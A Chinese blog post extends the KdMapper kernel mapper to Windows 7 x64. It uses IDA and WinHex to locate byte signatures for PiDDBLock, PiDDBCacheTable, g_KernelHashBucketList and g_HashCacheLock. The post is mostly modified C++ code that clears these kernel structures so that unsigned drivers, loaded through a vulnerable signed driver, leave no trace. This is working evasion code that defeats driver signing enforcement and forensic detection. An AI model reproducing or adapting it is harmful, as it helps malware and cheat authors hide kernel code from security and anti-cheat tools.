内核映射器(KernelMapper)开发-扩展KdMapper在Window 7 x64的支持

发布时间 2023-07-22 11:57:25作者: 禁锢在时空之中的灵魂

1、背景

  内核映射器有较多年历史了,其中KdMapper是比较著名的,原版中它使用intel的驱动漏洞可以无痕的加载未经签名的驱动。只不过当前只支持在Win10及Win11上运行,现在进行功能的修改以支持在Win7 x64环境上。当前假定读者对KdMapper的原理比较了解并编译调试过相关代码。

 

2、关键功能代码分析

  影响移植到Win7上的关键代码在inter_driver.cpp中的函数Load中,如下:

	if (!intel_driver::ClearPiDDBCacheTable(result)) {
		Log(L"[-] Failed to ClearPiDDBCacheTable" << std::endl);
		intel_driver::Unload(result);
		return INVALID_HANDLE_VALUE;
	}

	if (!intel_driver::ClearKernelHashBucketList(result)) {
		Log(L"[-] Failed to ClearKernelHashBucketList" << std::endl);
		intel_driver::Unload(result);
		return INVALID_HANDLE_VALUE;
	}

   ClearPiDDBCacheTable和ClearKernelHashBucketList都是清除加载到系统中的驱动相关信息以实现驱动的隐藏。

2.1 ClearPiDDBCacheTable关键代码

  代码如下:

bool intel_driver::ClearPiDDBCacheTable(HANDLE device_handle) { //PiDDBCacheTable added on LoadDriver

	PiDDBLockPtr = FindPatternInSectionAtKernel(device_handle, (char*)"PAGE", intel_driver::ntoskrnlAddr, (PUCHAR)"\x8B\xD8\x85\xC0\x0F\x88\x00\x00\x00\x00\x65\x48\x8B\x04\x25\x00\x00\x00\x00\x66\xFF\x88\x00\x00\x00\x00\xB2\x01\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x4C\x8B\x00\x24", (char*)"xxxxxx????xxxxx????xxx????xxxxx????x????xx?x"); // 8B D8 85 C0 0F 88 ? ? ? ? 65 48 8B 04 25 ? ? ? ? 66 FF 88 ? ? ? ? B2 01 48 8D 0D ? ? ? ? E8 ? ? ? ? 4C 8B ? 24 update for build 22000.132
	PiDDBCacheTablePtr = FindPatternInSectionAtKernel(device_handle, (char*)"PAGE", intel_driver::ntoskrnlAddr, (PUCHAR)"\x66\x03\xD2\x48\x8D\x0D", (char*)"xxxxxx"); // 66 03 D2 48 8D 0D

	if (PiDDBLockPtr == NULL) { // PiDDBLock pattern changes a lot from version 1607 of windows and we will need a second pattern if we want to keep simple as posible
		PiDDBLockPtr = FindPatternInSectionAtKernel(device_handle, (char*)"PAGE", intel_driver::ntoskrnlAddr, (PUCHAR)"\x48\x8B\x0D\x00\x00\x00\x00\x48\x85\xC9\x0F\x85\x00\x00\x00\x00\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\xE8", (char*)"xxx????xxxxx????xxx????x????x"); // 48 8B 0D ? ? ? ? 48 85 C9 0F 85 ? ? ? ? 48 8D 0D ? ? ? ? E8 ? ? ? ? E8 build 22449+ (pattern can be improved but just fine for now)
		if (PiDDBLockPtr == NULL) {
			Log(L"[-] Warning PiDDBLock not found" << std::endl);
			return false;
		}
		Log(L"[+] PiDDBLock found with second pattern" << std::endl);
		PiDDBLockPtr += 16; //second pattern offset
	}
	else {
		PiDDBLockPtr += 28; //first pattern offset
	}

	if (PiDDBCacheTablePtr == NULL) {
		Log(L"[-] Warning PiDDBCacheTable not found" << std::endl);
		return false;
	}

	Log("[+] PiDDBLock Ptr 0x" << std::hex << PiDDBLockPtr << std::endl);
	Log("[+] PiDDBCacheTable Ptr 0x" << std::hex << PiDDBCacheTablePtr << std::endl);

	PVOID PiDDBLock = ResolveRelativeAddress(device_handle, (PVOID)PiDDBLockPtr, 3, 7);
	PRTL_AVL_TABLE PiDDBCacheTable = (PRTL_AVL_TABLE)ResolveRelativeAddress(device_handle, (PVOID)PiDDBCacheTablePtr, 6, 10);
    
    ......
}

  其中主要的根据特征码来获取PiDDBLock 和 PiDDBCacheTable的指针,如果要移植到Win7上需要找到Win7的相关特征码。

2.2 ClearKernelHashBucketList关键代码

  代码如下:

bool intel_driver::ClearKernelHashBucketList(HANDLE device_handle) {
	uint64_t ci = utils::GetKernelModuleAddress("ci.dll");
	if (!ci) {
		Log(L"[-] Can't Find ci.dll module address" << std::endl);
		return false;
	}

	//Thanks @KDIo3 and @Swiftik from UnknownCheats
	auto sig = FindPatternInSectionAtKernel(device_handle, (char*)"PAGE", ci, PUCHAR("\x48\x8B\x1D\x00\x00\x00\x00\xEB\x00\xF7\x43\x40\x00\x20\x00\x00"), (char*)"xxx????x?xxxxxxx");
	if (!sig) {
		Log(L"[-] Can't Find g_KernelHashBucketList" << std::endl);
		return false;
	}
	auto sig2 = FindPatternAtKernel(device_handle, (uintptr_t)sig - 50, 50, PUCHAR("\x48\x8D\x0D"), (char*)"xxx");
	if (!sig2) {
		Log(L"[-] Can't Find g_HashCacheLock" << std::endl);
		return false;
	}
	const auto g_KernelHashBucketList = ResolveRelativeAddress(device_handle, (PVOID)sig, 3, 7);
	const auto g_HashCacheLock = ResolveRelativeAddress(device_handle, (PVOID)sig2, 3, 7);
	if (!g_KernelHashBucketList || !g_HashCacheLock)
	{
		Log(L"[-] Can't Find g_HashCache relative address" << std::endl);
		return false;
	}

	Log(L"[+] g_KernelHashBucketList Found 0x" << std::hex << g_KernelHashBucketList << std::endl);
    
    ......
}

   其中主要的根据特征码来获取HashBucketList 和 HashCacheLock的指针,如果要移植到Win7上也需要找到Win7的相关特征码。

3、特征码的定位及寻找Win7的相关特征码

3.1 ClearPiDDBCacheTable之PiDDBLock相关

3.1.1 PiDDBLock定位

  原代码如下:

PiDDBLockPtr = FindPatternInSectionAtKernel(device_handle, (char*)"PAGE", intel_driver::ntoskrnlAddr, (PUCHAR)"\x8B\xD8\x85\xC0\x0F\x88\x00\x00\x00\x00\x65\x48\x8B\x04\x25\x00\x00\x00\x00\x66\xFF\x88\x00\x00\x00\x00\xB2\x01\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x4C\x8B\x00\x24", (char*)"xxxxxx????xxxxx????xxx????xxxxx????x????xx?x"); // 8B D8 85 C0 0F 88 ? ? ? ? 65 48 8B 04 25 ? ? ? ? 66 FF 88 ? ? ? ? B2 01 48 8D 0D ? ? ? ? E8 ? ? ? ? 4C 8B ? 24 update for build 22000.132

  可以看到原特征码在代码的PAGE段,特征值为8BD885C00F880000000065488B04250000000066FF8800000000B201488D0D00000000E8000000004C8B0024,其中00对应的是通配的字节,表示应该数据任何都可匹配。

  现在需要几个步骤进行定位:

  • 使用PE工具导出ntoskrnl的PAGE节

  

  • 使用WinHex查找特征码

  先用WinHex打开之前保存的区段数据,然后进行 搜索--查找十六进制数据

  

   进行查找前先要进行特征码转换,之前的特征码为:

\x8B\xD8\x85\xC0\x0F\x88\x00\x00\x00\x00\x65\x48\x8B\x04\x25\x00\x00\x00\x00\x66\xFF\x88\x00\x00\x00\x00\xB2\x01\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x4C\x8B\x00\x24

  在文件编辑器中把 \x00转换为 \x99,至于原因是为了方便后续作通配符,以为99未在之前代码中出现,也可以选用其它的,这个要根据实现的数据来进行选取。转换后如下:

\x8B\xD8\x85\xC0\x0F\x88\x99\x99\x99\x99\x65\x48\x8B\x04\x25\x99\x99\x99\x99\x66\xFF\x88\x99\x99\x99\x99\xB2\x01\x48\x8D\x0D\x99\x99\x99\x99\xE8\x99\x99\x99\x99\x4C\x8B\x99\x24

  再把 "\x"字符去掉,因为WinHex查找十六进制时不需要前缀 \x,转换后如下:

8BD885C00F889999999965488B04259999999966FF8899999999B201488D0D99999999E8999999994C8B9924

  将以上数据复制的WinHex查找十六进制数值的对话框中,并钩选"用作通配符",再通配符中填写99(至于查找其它特征码时要根据实际情况选取数据)。

  

  进行查找后数据如下:

  

  注意查找的结果要是唯一的才是正确的,然后记住Offset值 165B44。

  • 使用IDA进行代码定位

  先打开View-Open subviews-Segments视图

  

  视图如下:

  

  再用PAGE的起始地 0x1405c7000 加上之前记的Offset 165B44结果 0x14072CB44。

  然后调用Jump - Jump to address, 填入上边的地址。

  

  然后定位到代码如下

  

  可以看到其中的机器码和之前的特征码加通配符一致。

  IDA往上翻,可以看到该特征码对应的函数,为 PpCheckInDriverDatabase。

  

3.1.2 PiDDBLock相关代码结合分析。

  之前贴过代码如下:

PiDDBLockPtr = FindPatternInSectionAtKernel(......)
if (PiDDBLockPtr == NULL) 
		......
		PiDDBLockPtr += 16; //second pattern offset
}
else {
		PiDDBLockPtr += 28; //first pattern offset
}

......
PVOID PiDDBLock = ResolveRelativeAddress(device_handle, (PVOID)PiDDBLockPtr, 3, 7);

  分析可得出 PiDDBCacheTablePtr在查找到特征码后进行了重新定们,即 PiDDBLockPtr += 28,即跳过了28字节代码,如下图选中所示

  于是指针指向了 lea rcx, PiDDBLock,这句指定对应的机器码为 48 8D 0D 79 7E 51 00,前三字节为操作码,后四字节为操作数,即PiDDBLock的偏移。于是有的原来的代码获取对应的地址:

PVOID PiDDBLock = ResolveRelativeAddress(device_handle, (PVOID)PiDDBLockPtr, 3, 7);

  3为地址值的偏移数据,7为这条语句的总字节数,这点很重要,在之后查找WIn7中的特征码时会用到。

3.1.3 PiDDBLock在Win7 x64的特征码分析

  之前分析到获取PiDDBLock在函数PpCheckInDriverDatabase,现在在WIn7 x64上进行定位,IDA打开Win x64的ntoskrnl.exe,在函数窗口搜索PpCheckInDriverDatabase

  

  然后打开到对应的函数,定位到操作PiDDBLock的代码,如下:

  

  然后选择对应的特征码,在选取特征码时应该保证特征码唯一,可以避免获取数据出错,通用之前用WinHex查找的方法一样,先把Win7的内核文件ntoskrnl.exe的PAGE区段导出来,然后用WinHex查找选择的特征码。

  我选取的特征码如下图:

  

  特征码为 81 FB 6C 03 00 C0 75 0B 39 AC 24 80 00 00 00 41 0F 44 DD,改掉操作数的字节为通配符后为  81 FB 6C 03 00 C0 75 ? 39 ? ? ? ? ? ? 41 0F 44 DD,所以对应的代码为:

PiDDBLockPtr = FindPatternInSectionAtKernel(device_handle, (char*)"PAGE", microstar_driver::ntoskrnlAddr, (PUCHAR)"\x81\xFB\x6C\x03\x00\xC0\x75\x00\x39\x00\x00\x00\x00\x00\x00\x41\x0F\x44\xDD", (char*)"xxxxxxx?x??????xxxx"); // Win7x64 81 FB 6C 03 00 C0 75 ? 39 ? ? ? ? ? ? 41 0F 44 DD
if (PiDDBLockPtr == NULL)
{
    Log(L"[-] Warning PiDDBLock not found" << std::endl);
    return false;
}
else
{
    Log(L"[+] PiDDBLock found with third pattern" << std::endl);
    PiDDBLockPtr += 19;
}
......
    
PVOID PiDDBLock = ResolveRelativeAddress(device_handle, (PVOID)PiDDBLockPtr, 3, 7);

  地址值为查找到的特征码19个字节以后,所以 PiDDBLockPtr += 19, 指针指向了 lea rcx, PiDDBLock,这句指定对应的机器码为 48 8D 0D 79 7E 51 00,前三字节为操作码,后四字节为操作数,即PiDDBLock的偏移。所以和之前一样 PiDDBLock = ResolveRelativeAddress(device_handle, (PVOID)PiDDBLockPtr, 3, 7);

  分析查找出来的特征码在文件中出出现的数量按之前特征码搜索方法,我查找出的结构如下:

  

  注意后续的查找分析操作都按这个来进行。

3.2 ClearPiDDBCacheTable之PiDDBCacheTable相关

3.2.1 PiDDBCacheTable定位

  

  区段定位:

  

  查找函数为PiLookupInDDBCache:

  

3.2.2 PiDDBCacheTable在Win7 x64特征码搜索

  在Win7上查找函数并定位如下:

  

  选取的特征码为:

  41 8B 44 24 08 48 8D 0D,于是代码如下:

PiDDBCacheTablePtr = FindPatternInSectionAtKernel(device_handle, (char*)"PAGE", microstar_driver::ntoskrnlAddr, (PUCHAR)"\x41\x8B\x44\x24\x08\x48\x8D\x0D", (char*)"xxxxxxxx"); //Win7 x64 41 8B 44 24 08 48 8D 0D
if (PiDDBCacheTablePtr == NULL)
{
    Log(L"[-] Warning PiDDBCacheTable not found" << std::endl);
    return false;
}


PiDDBCacheTable = (PRTL_AVL_TABLE)ResolveRelativeAddress(device_handle, (PVOID)PiDDBCacheTablePtr, 8, 12);

3.3 ClearKernelHashBucketList之g_KernelHashBucketList和g_HashCacheLock相关

3.3.1 g_KernelHashBucketList和g_HashCacheLock定位

  

  选取第一个进行区段定位:

  g_KernelHashBucketList 如下:

  

  g_HashCacheLock:

  

  可以看到g_HashCacheLock就在g_KernelHashBucketList前19字节,原代码中的获取逻辑是

auto sig2 = FindPatternAtKernel(device_handle, (uintptr_t)sig - 50, 50, PUCHAR("\x48\x8D\x0D"), (char*)"xxx");
if (!sig2) {
    Log(L"[-] Can't Find g_HashCacheLock" << std::endl);
    return false;
}

   取前50字节开始查找\x48\x8D\x0D后找到的是g_GRLContextLock,因此原来的代码中的逻辑是错误的。

   再来看看查找函数为 I_SetSecurityState

  

3.3.2 g_KernelHashBucketList和g_HashCacheLock在Win7 x64特征码搜索

  在Win7上查找函数I_SetSecurityState并定位如下:

  

  选取特征码 48 8B 1D A7 F6 04 00 EB 4A 0F BA 63 40 0D 72 40, 于是代码如下

sig = FindPatternInSectionAtKernel(device_handle, (char*)"PAGE", ci, PUCHAR("\x48\x8B\x1D\x00\x00\x00\x00\xEB\x00\x0F\x00\x00\x00\x00\x72\x00"), (char*)"xxx????x?x????x?");
 if (!sig)
 {
     Log(L"[-] Can't Find g_KernelHashBucketList" << std::endl);
     return false;
 }
//偏移应该是sig - 20
//auto sig2 = FindPatternAtKernel(device_handle, (uintptr_t)sig - 50, 50, PUCHAR("\x48\x8D\x0D"), (char*)"xxx");
auto sig2 = FindPatternAtKernel(device_handle, (uintptr_t)sig - 20, 20, PUCHAR("\x48\x8D\x0D"), (char*)"xxx");
if (!sig2) 
{
    Log(L"[-] Can't Find g_HashCacheLock" << std::endl);
    return false;
}
const auto g_KernelHashBucketList = ResolveRelativeAddress(device_handle, (PVOID)sig, 3, 7);
const auto g_HashCacheLock = ResolveRelativeAddress(device_handle, (PVOID)sig2, 3, 7);

4、修改后的代码

4.1 ClearPiDDBCacheTable关键代码

  代码如下:

bool microstar_driver::ClearPiDDBCacheTable(HANDLE device_handle) { //PiDDBCacheTable added on LoadDriver

        DWORD dwPiDDBLockPtrIndex = 1;
        DWORD dwPiDDBCacheTablePtrIndex = 1;
        
        //在PiLookupInDDBCache中查找         lea rcx, PiDDBCacheTable
        PiDDBCacheTablePtr = FindPatternInSectionAtKernel(device_handle, (char*)"PAGE", microstar_driver::ntoskrnlAddr, (PUCHAR)"\x66\x03\xD2\x48\x8D\x0D", (char*)"xxxxxx"); // 66 03 D2 48 8D 0D
        if (PiDDBCacheTablePtr == NULL)
        {
                dwPiDDBCacheTablePtrIndex = 2;
                PiDDBCacheTablePtr = FindPatternInSectionAtKernel(device_handle, (char*)"PAGE", microstar_driver::ntoskrnlAddr, (PUCHAR)"\x41\x8B\x44\x24\x08\x48\x8D\x0D", (char*)"xxxxxxxx"); //Win7 x64 41 8B 44 24 08 48 8D 0D
                if (PiDDBCacheTablePtr == NULL)
                {
                        Log(L"[-] Warning PiDDBCacheTable not found" << std::endl);
                        return false;
                }
        }
        //在PpCheckInDriverDatabase中查找   lea rcx, PiDDBLock 
        PiDDBLockPtr = FindPatternInSectionAtKernel(device_handle, (char*)"PAGE", microstar_driver::ntoskrnlAddr, (PUCHAR)"\x8B\xD8\x85\xC0\x0F\x88\x00\x00\x00\x00\x65\x48\x8B\x04\x25\x00\x00\x00\x00\x66\xFF\x88\x00\x00\x00\x00\xB2\x01\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x4C\x8B\x00\x24", (char*)"xxxxxx????xxxxx????xxx????xxxxx????x????xx?x"); // 8B D8 85 C0 0F 88 ? ? ? ? 65 48 8B 04 25 ? ? ? ? 66 FF 88 ? ? ? ? B2 01 48 8D 0D ? ? ? ? E8 ? ? ? ? 4C 8B ? 24 update for build 22000.132
        if (PiDDBLockPtr == NULL) { // PiDDBLock pattern changes a lot from version 1607 of windows and we will need a second pattern if we want to keep simple as posible
                PiDDBLockPtr = FindPatternInSectionAtKernel(device_handle, (char*)"PAGE", microstar_driver::ntoskrnlAddr, (PUCHAR)"\x48\x8B\x0D\x00\x00\x00\x00\x48\x85\xC9\x0F\x85\x00\x00\x00\x00\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\xE8", (char*)"xxx????xxxxx????xxx????x????x"); // 48 8B 0D ? ? ? ? 48 85 C9 0F 85 ? ? ? ? 48 8D 0D ? ? ? ? E8 ? ? ? ? E8 build 22449+ (pattern can be improved but just fine for now)
                if (PiDDBLockPtr == NULL) {
                        PiDDBLockPtr = FindPatternInSectionAtKernel(device_handle, (char*)"PAGE", microstar_driver::ntoskrnlAddr, (PUCHAR)"\x81\xFB\x6C\x03\x00\xC0\x75\x00\x39\x00\x00\x00\x00\x00\x00\x41\x0F\x44\xDD", (char*)"xxxxxxx?x??????xxxx"); // Win7x64 81 FB 6C 03 00 C0 75 ? 39 ? ? ? ? ? ? 41 0F 44 DD
                        if (PiDDBLockPtr == NULL)
                        {
                                Log(L"[-] Warning PiDDBLock not found" << std::endl);
                                return false;
                        }
                        else
                        {
                                Log(L"[+] PiDDBLock found with third pattern" << std::endl);
                                PiDDBLockPtr += 19;
                        }
                }
                else
                {
                        Log(L"[+] PiDDBLock found with second pattern" << std::endl);
                        PiDDBLockPtr += 16; //second pattern offset
                }
               
        }
        else {
                PiDDBLockPtr += 28; //first pattern offset
        }


        Log("[+] PiDDBLock Ptr 0x" << std::hex << PiDDBLockPtr << std::endl);
        Log("[+] PiDDBCacheTable Ptr 0x" << std::hex << PiDDBCacheTablePtr << std::endl);

        PVOID PiDDBLock = ResolveRelativeAddress(device_handle, (PVOID)PiDDBLockPtr, 3, 7);
        PRTL_AVL_TABLE PiDDBCacheTable = NULL;
        if (dwPiDDBCacheTablePtrIndex == 1)
        {
                PiDDBCacheTable = (PRTL_AVL_TABLE)ResolveRelativeAddress(device_handle, (PVOID)PiDDBCacheTablePtr, 6, 10);
        }
        else if (dwPiDDBCacheTablePtrIndex == 2)
        {
                PiDDBCacheTable = (PRTL_AVL_TABLE)ResolveRelativeAddress(device_handle, (PVOID)PiDDBCacheTablePtr, 8, 12);
        }
       
    ......
}

4.2 ClearKernelHashBucketList关键代码

bool microstar_driver::ClearKernelHashBucketList(HANDLE device_handle) {
        uint64_t ci = utils::GetKernelModuleAddress("ci.dll");
        if (!ci) {
                Log(L"[-] Can't Find ci.dll module address" << std::endl);
                return false;
        }

        //Thanks @KDIo3 and @Swiftik from UnknownCheats
        //函数I_SetSecurityState中mov     rbx, cs:g_KernelHashBucketList
        auto sig = FindPatternInSectionAtKernel(device_handle, (char*)"PAGE", ci, PUCHAR("\x48\x8B\x1D\x00\x00\x00\x00\xEB\x00\xF7\x43\x40\x00\x20\x00\x00"), (char*)"xxx????x?xxxxxxx");
        if (!sig) {
                sig = FindPatternInSectionAtKernel(device_handle, (char*)"PAGE", ci, PUCHAR("\x48\x8B\x1D\x00\x00\x00\x00\xEB\x00\x0F\x00\x00\x00\x00\x72\x00"), (char*)"xxx????x?x????x?");
                if (!sig)
                {
                        Log(L"[-] Can't Find g_KernelHashBucketList" << std::endl);
                        return false;
                }
                
        }
        //偏移应该是sig - 20
        //auto sig2 = FindPatternAtKernel(device_handle, (uintptr_t)sig - 50, 50, PUCHAR("\x48\x8D\x0D"), (char*)"xxx");
        auto sig2 = FindPatternAtKernel(device_handle, (uintptr_t)sig - 20, 20, PUCHAR("\x48\x8D\x0D"), (char*)"xxx");
        if (!sig2) {
                Log(L"[-] Can't Find g_HashCacheLock" << std::endl);
                return false;
        }
        const auto g_KernelHashBucketList = ResolveRelativeAddress(device_handle, (PVOID)sig, 3, 7);
        const auto g_HashCacheLock = ResolveRelativeAddress(device_handle, (PVOID)sig2, 3, 7);
        if (!g_KernelHashBucketList || !g_HashCacheLock)
        {
                Log(L"[-] Can't Find g_HashCache relative address" << std::endl);
                return false;
        }

    ......
}